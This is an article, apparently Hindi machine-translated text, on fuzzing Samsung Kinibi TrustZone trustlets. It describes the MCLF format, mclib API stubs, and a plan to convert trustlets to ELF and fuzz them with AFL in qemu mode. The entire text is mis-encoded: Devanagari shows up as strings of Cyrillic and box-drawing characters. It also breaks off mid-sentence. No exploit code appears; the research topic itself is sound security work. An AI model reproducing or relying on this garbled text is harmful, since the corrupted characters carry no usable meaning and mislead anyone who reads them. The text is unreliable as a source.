рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ mcMap рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИред рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рддреЛ рдпрд╣ рдЖрдкрдХреЛ рдПрдХ рдФрд░ WSM рдмрдлрд░ рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдХреБрд▓ рдорд┐рд▓рд╛рдХрд░, рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЖрдк рдХреЗрд╡рд▓ рдЪрд╛рд░ рдРрд╕реЗ рдмрдлрд╝рд░реНрд╕ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рд╛рде, рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реИ - рд╕реИрдорд╕рдВрдЧ рдлреЛрди рдХреЗ рд▓рд┐рдП рдпреЗ рд╕рд╛рдзрд╛рд░рдг рдПрдВрдбреНрд░реЙрдЗрдб рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╣реИрдВред рд▓реЗрдХрд┐рди рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреНрдпрд╛ рд╣реИрдВ?
рдХрд┐рдиреАрдмреА рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕
рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рдирд┐рдпрдорд┐рдд рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИрдВ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЛрдб рд╡рд╛рд▓реА рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВред рдпрд╣ рдПрдВрдбреНрд░реЙрдЗрдб рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп рдИрдПрд▓рдПрдл рдпрд╛ рдПрдкреАрдХреЗ рдкреНрд░рд╛рд░реВрдк рдирд╣реАрдВ рд╣реИред рдХрд┐рдиреАрдмреА рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдЯреНрд░реИрд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХрд╛ рдЕрдкрдирд╛ MobiCore рд▓реЛрдб рдлреЙрд░реНрдореЗрдЯ (MCLF) рд╣реИред рдпрд╣ рдУрдкрди рд╕реЛрд░реНрд╕ рдпреВрдЬрд░рд╕реНрдкреЗрд╕ -рд▓реЗрд╡рд▓ рдШрдЯрдХреЛрдВ рдореЗрдВ рд╡рд░реНрдгрд┐рдд рд╣реИ рдЬрд┐рд╕реЗ рдЯреНрд░рд╕реНрдЯреЛрдирд┐рдХ рдиреЗ рдЧрд┐рддреВрдм рдкрд░ рдкреЛрд╕реНрдЯ рдХрд┐рдпрд╛ рд╣реИред рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдРрд╕реА рддрд╕реНрд╡реАрд░ (рдмрд╛рдИрдВ рдУрд░ рдХреЗ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ) рдореЗрдВ рдпреЛрдЬрдирд╛рдмрджреНрдз рд░реВрдк рд╕реЗ рдЪрд┐рддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдВ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдкреНрд░рддрд┐рд╖реНрдард┐рдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ:
- рдПрдХ рдЕрд▓рдЧ рдкрддреЗ рд╡рд╛рд▓реЗ рд╕реНрдерд╛рди рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЕрд░реНрдерд╛рдд, рдПрдХ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рджреВрд╕рд░реЗ рдХреЛ рдирд╣реАрдВ рджреЗрдЦрддрд╛ рд╣реИ;
- WSM рдмрдлрд╝рд░реНрд╕ рдХреЗ рдЕрдкрд╡рд╛рдж рдХреЗ рд╕рд╛рде рд╕рд╛рдорд╛рдиреНрдп рджреБрдирд┐рдпрд╛ рдХреА рд╕реНрдореГрддрд┐ рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╣реИ, TEE рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреА рдореЗрдореЛрд░реА рдФрд░ рднреМрддрд┐рдХ рдореЗрдореЛрд░реА рдХреЗ рд▓рд┐рдП;
- рдкрдврд╝рдиреЗ, рд▓рд┐рдЦрдиреЗ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рд╡рд░реНрдЧреЛрдВ рдореЗрдВ рд╕реНрдореГрддрд┐ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИрдВ;
- WSM рдмрдлрд╝рд░реНрд╕ рдЧреИрд░-рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдореЗрдореЛрд░реА рдореЗрдВ рд░рд╣рддреЗ рд╣реИрдВ;
- ASLR рдХреЗ рдмрд┐рдирд╛ рдмреВрдЯ
- рд╡реЗ mclib рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХреА рдЧрдИ рдПрдкреАрдЖрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдПрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЬреЛ рд╕рдВрд░рдХреНрд╖рд┐рдд рджреБрдирд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЧреНрд▓реЛрдмрд▓ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдПрдкреАрдЖрдИ рдФрд░ рд╡рд┐рд░рд╛рд╕рдд рдПрдкреАрдЖрдИ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ;
tlApi_callDriver
рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рдВрд░рдХреНрд╖рд┐рдд рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВред
рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреНрд╖рдорддрд╛рдУрдВ рдореЗрдВ рдХрд╛рдлреА рд╕реАрдорд┐рдд рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╡реЗ рдХреБрдЫ рд░рдХреНрд╖рд╛ рддрдВрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рд╡рд┐рднрд┐рдиреНрди рдореЗрдореЛрд░реА рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ, рдФрд░ рдЕрдзрд┐рдХрд╛рдВрд╢ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рд╕реНрдЯреИрдХ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдЯреИрдХ рдХреИрдирд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рдХрд┐рдирдмреА рдореЗрдВ рдПрдПрд╕рдПрд▓рдЖрд░ рдирд╣реАрдВ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕реЗ рдирдП рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдпреЛрдЬрдирд╛рдмрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
рд╕рднреА рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж, рд╣рдорд▓рд╛рд╡рд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрд╣реБрдд рд╣реА рджрд┐рд▓рдЪрд╕реНрдк рд▓рдХреНрд╖реНрдп рд╣реИрдВ:
- рдпрд╣ рдПрдВрдбреНрд░реЙрдЗрдб рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рд╕реНрдкреЗрд╕ рд╕реНрддрд░ рд╕реЗ рдЯреНрд░рд╕реНрдЯрдЬрд╝реЛрди рдореЗрдВ рдПрдХ рд╡рд┐рдВрдбреЛ рд╣реИ;
- рд╡реЗ рдЯреАрдИрдИ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдореВрд▓ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдмрд┐рдВрджреБ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрд╡рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ;
- рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреЗ рдкрд╛рд╕ рд╕рдВрд░рдХреНрд╖рд┐рдд рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рдЬрд╣рд╛рдВ рдПрдВрдбреНрд░реЙрдЗрдб рдХрд░реНрдиреЗрд▓ рдХреА рднреА рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рд╣реИред
рдкрд░реАрдХреНрд╖рдг рдЙрдкрдХрд░рдг рдХреЗ рд░реВрдк рдореЗрдВ, рд╣рдордиреЗ рд╕реИрдорд╕рдВрдЧ рдЧреИрд▓реЗрдХреНрд╕реА рдПрд╕ 8 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ред рдпрджрд┐ рдЖрдк рдЗрд╕рдореЗрдВ рдЯреНрд░реИрд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреА рддрд▓рд╛рд╢ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рдЙрдирдореЗрдВ рд╕реЗ рдмрд╣реБрдд рд╕рд╛рд░реЗ рд╣реИрдВред

рдпрд╛рдиреА рдмрд╣реБрдд рдХреЛрдб рд╣реИред рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдХреЗ рд▓рд┐рдП рдмрд╛рдЗрдирд░реА рдХреЛрдб рдХреЗ рд╕реНрдерд┐рд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдПрдХ рдмреБрд░рд╛ рд╡рд┐рдЪрд╛рд░ рдЬреИрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИред рдбрд╛рдпрдиреЗрдорд┐рдХ рдПрдирд╛рд▓рд┐рд╕рд┐рд╕ рдХреЛ рдПрдВрдЧреЗрдЬ рдХрд░рдирд╛ рддреЛ рдмрд╕ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рдпрджрд┐ рдХреЗрд╡рд▓ рдЗрд╕рд▓рд┐рдП рдХрд┐ рдЯреНрд░реИрд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХрд╛ рдЕрдкрдирд╛ рд╕реНрд╡рд░реВрдк рд╣реЛ, рдЬреЛ рдкрд╛рд░рдВрдкрд░рд┐рдХ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдлреАрдбрдмреИрдХ рдХреЗ рд╕рд╛рде рд╕рд┐рджреНрдз рдлрд╝рдЬрд╝рд┐рдВрдЧ рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЕрдЪреНрдЫрд╛ рд╣реЛрдЧрд╛, рдФрд░ рдЬрдм рднреА рд╡реЗ рд╣реЛрддреЗ рд╣реИрдВ, рддрдм рдХрд┐рд╕реА рднреА рддрд░рд╣ рдХреЗ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреА рджреБрд░реНрдШрдЯрдирд╛ рдХреЛ рдкрдХрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдЗрдП рдЗрд╕ рджрд┐рд▓рдЪрд╕реНрдк рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред
рдпрд╣ рдХреИрд╕рд╛ рдлрдЬреАрд╣рдд?
рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рдЕрднреА рддрдХ рдЕрджреНрднреБрдд рдПрдПрдлрдПрд▓ рдЯреВрд▓ рдФрд░ рдЗрд╕рдХреЗ рдХрдИ рдРрдб-рдСрди рдХреЗ рд╕рд╛рде рдирд╣реАрдВ рдорд┐рд▓реЗ рд╣реИрдВ, рд╣рдо рдЗрд╕ рдЕрдЪреНрдЫреЗ рд▓реЗрдЦ рдХреЛ рдкрдврд╝рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреЗрддреЗ рд╣реИрдВред рдФрд░ рд╣рд░ рдХреЛрдИ рд╢рд╛рдпрдж рдЬрд╛рдирддрд╛ рд╣реИ рдХрд┐ рдПрдПрдлрдПрд▓ рдИрдПрд▓рдПрдл рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдлрдЬ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ AFL рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди рдХреЗ рдмрд┐рдирд╛ рд╢реБрд░реВ рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдмрд╛рдЗрдирд░реА рдлрд╛рдЗрд▓реЗрдВред рдпрд╣ qemu рдореЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред AFL qemu рдПрдореБрд▓реЗрдЯрд░ рдХреЗ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдирд┐рд░реНрдорд╛рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╢рд╛рдЦрд╛ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдмрд╛рдЗрдирд░реА рдЗрдВрд╕реНрдЯреНрд░реВрдореЗрдВрдЯреЗрд╢рди рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ qemu рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдореЛрдб рдореЗрдВ рдЬреЛрдбрд╝реА рдЬрд╛рддреА рд╣реИред рдпрд╣ рдЙрд╕реЗ рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рднреА рдХреЛрдб рдХрд╡рд░реЗрдЬ рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рд╕рд╛рде рдлрд╝рдЬрд╝ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдФрд░ рдЗрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдмреЛрдирд╕ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рди рдХреЗрд╡рд▓ рджреЗрд╢реА рд╡рд╛рд╕реНрддреБрдХрд▓рд╛, рдмрд▓реНрдХрд┐ quu рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рднреА рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХреА рдлрдЬ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдЕрдкрдиреЗ рдХрд╛рд░реНрдп рдореЗрдВ рдЗрд╕ рдореЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рдХрд┐рд╕реА рддрд░рд╣ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреЛ рдИрдПрд▓рдПрдл рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
рдЪрд▓реЛ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдлрд╝рд╛рдЗрд▓реЛрдВ рдкрд░ рдПрдХ рдХрд░реАрдм рд╕реЗ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВред рдЦреБрд▓реЗ рдкреНрд░рд╛рд░реВрдк рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдЙрдирдХреЗ рд▓рд┐рдП рдЖрдИрдбреАрдП рдкреНрд░реЛ рдХреЗ рд▓рд┐рдП рдПрдХ рд▓реЛрдбрд░ рд╣реИред рдпрджрд┐ рдЖрдк рдЕрдкрдиреЗ рдХреЛрдб рдХреЛ рдЫреЛрдбрд╝рдХрд░, рдХреЛрдИ рднреА рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдЦреЛрд▓рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ mclib рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ рдЗрд╕ рддрд░рд╣ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рднреА рдХреЙрд▓реЗрдВ рдЯреНрд░реЗрд╕реНрдЯрд▓реЗрдЯ рдХреЗ рд╣реЗрдбрд░ рдореЗрдВ рджрд░реНрдЬ рдкрддреЗ рдкрд░ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рдЧреБрдЬрд░рддреА рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ рдХреИрд╕реЗ tlApiLogvPrintf рдлрд╝рдВрдХреНрд╢рди рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рдХреЛрдб рдореЗрдВ рджрд┐рдЦрддрд╛ рд╣реИ, рдЬреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ, рд▓рд╛рдЗрдиреЛрдВ рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред

рдпрд╣ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдХрд┐рд╕реА рдЕрдиреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЖрдЧреЗ рдХреЗ рд╕рднреА рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдЖрдЧреЗ рдмрдврд╝рд╛рддрд╛ рд╣реИред рдпрд╣ рдореИрдХреНрд▓рд┐рдм рд╢реЗрдбреНрдпреВрд▓рд┐рдВрдЧ рдлрд╝рдВрдХреНрд╢рди рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдкрддрд╛ MCLF рд╣реЗрдбрд░ рдореЗрдВ tlApiLibEntry
рдирд╛рдордХ рдлрд╝реАрд▓реНрдб рдореЗрдВ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣реА рд╣реИ, рдЗрд╕ рддрд░рд╣ рд╕реЗ рдкреБрдХрд╛рд░реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛рд░реНрдп рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХрдорд╛рддреНрд░ рдирд┐рд░реНрднрд░рддрд╛ рд╣реИрдВ; рдЯреНрд░реИрд╕реНрдЯрд▓реЗрдЯ рдХреЗ рдмрд╛рд╣рд░ рдХреЛрдИ рдЕрдиреНрдп рд▓рд┐рдВрдХ рдирд╣реАрдВ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рд╣реИ рдХрд┐ рдЕрдЧрд░ рд╣рдо рдПрдкреАрдЖрдИ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реНрдЯрдмреНрд╕ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рд▓рд┐рдирдХреНрд╕ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рдЗрд╕реЗ рдкрд╣рд▓реЗ рдХрд┐рд╕реА рдИрдПрд▓рдПрдл рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдирд╛ред рдФрд░ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╣рдо рдЗрд╕реЗ рдбреАрдмрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд╝рдЬрд╝ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдИрдПрд▓рдПрдл рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдПрдХ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЛ рдЪрд╛рд▓реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдПрдХ рддреИрдпрд╛рд░ рдлрд╝рд╛рдЗрд▓ рд▓реЗ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдПрдХ рдЦрд╛рд▓реА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ, рдФрд░ рдЗрд╕рдХреЗ рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рдЕрдиреБрднрд╛рдЧреЛрдВ рдХреЛ рдЬреЛрдбрд╝реЗрдВред рдЖрд░рд╛рдо рд╕реЗ! рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЛрдб рдкрд░ рдХрд┐рд╕реА рддрд░рд╣ рдирд┐рдпрдВрддреНрд░рдг рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдирд╛ рднреА рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЗрд╕рдХреЗ рд╕рд╛рде рдХреЛрдИ рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВ рд╣реИ, рдЯреНрд░реИрд╕реНрдЯрд▓реЗрдЯ рд╣реЗрдбрд░ рдореЗрдВ рдЗрд╕рдХреЗ рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ рдХрд╛ рдкрддрд╛ рд╣реЛрддрд╛ рд╣реИред рд╣рдо рдЕрдкрдиреЗ main
рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдЗрд╕ рдкрддреЗ рдХреЛ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВред рд╕реЛрдЪрдиреЗ рдФрд░ рдкреНрд░рдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдЕрдкрдиреА рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдпреЛрдЬрдирд╛ рдХреА рд░реВрдкрд░реЗрдЦрд╛ рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
- рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд╣рд╕реНрддрд╛рдВрддрд░рдг рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛;
- рдЙрди рдкрд░ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛рд░реНрдп рдпрд╛ рд╕реНрдЯрдм рд▓рд╛рдЧреВ рдХрд░рдирд╛;
- рдкреНрд░реЗрд╖рдг рд╕рдорд╛рд░реЛрд╣ рдХреЛ рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдФрд░ рдЯреНрд░реЗрдЯ рдХреЗ рд╣реЗрдбрд░ рдореЗрдВ рдЕрдкрдирд╛ рдкрддрд╛ рд▓рд┐рдЦреЗрдВ;
- рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рдЕрдиреБрднрд╛рдЧреЛрдВ рдХреЛ рд╡рд╛рдВрдЫрд┐рдд рдкрддреЛрдВ рдкрд░ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░реЗрдВред
рдЪреВрдБрдХрд┐ рд╣рдореЗрдВ рдХрдИ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреЛ рдПрдХ рд╕рд╛рде рдореЛрдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдореЗрдВ рдЗрди рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП: рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдмрд┐рдВрджреБ, рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рдЕрдиреБрднрд╛рдЧреЛрдВ рдХреЗ рдкрддреЗ рдФрд░ рдбрдмреНрд▓реНрдпреВрдПрд╕рдУ рдЗрдирдкреБрдЯ рдмрдлрд░ рдХреЗ рдЖрдХрд╛рд░ред рдЗрд╕реЗ 